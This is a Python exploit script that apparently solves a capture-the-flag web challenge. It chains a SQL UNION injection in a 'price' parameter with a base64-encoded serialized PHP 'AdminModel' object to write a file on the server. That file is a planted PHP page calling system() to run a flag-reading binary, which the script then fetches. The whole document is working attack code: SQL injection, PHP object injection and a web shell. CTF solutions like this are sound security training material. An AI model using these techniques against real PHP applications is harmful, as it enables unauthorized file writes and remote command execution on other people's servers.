import requests
from base64 import b64encode

SITE_URL = "https://c3438387fc4b879a3ef7e4c9-80-canteenfood.challenge.cscg.live:1337/"

malicious_site = """
<html>
<body>
<h1><?= system("../../readflag"); ?><h1>
</body>
</html>
"""


def sql_injection_oldvalue(payload: str):
    return f'2 UNION SELECT NULL as id, "" as name, "{payload}" as oldvalue, NULL as price'


def arbitrary_append(filename, content):
    php_object = f'O:+10:"AdminModel":2:{{s:8:"filename";s:{len(filename)}:"{filename}";s:10:"logcontent";s:{len(content)}:"{content}";}}'.encode('ascii')
    encoded_php_object = b64encode(php_object).decode('ascii')
    injection_string = sql_injection_oldvalue(encoded_php_object)
    params = {'price': injection_string}
    session.get(SITE_URL, params=params)

def retrieve_flag(filepath: str):
    response = session.get(SITE_URL + filepath)
    if response.status_code == 200:
        return response.text
    else:
        raise RuntimeError(f"Injected php script is not present at {filepath}")

session = requests.Session()
filepath = "views/injection.php"
arbitrary_append(filepath, malicious_site)
flag = retrieve_flag(filepath)

print(flag)

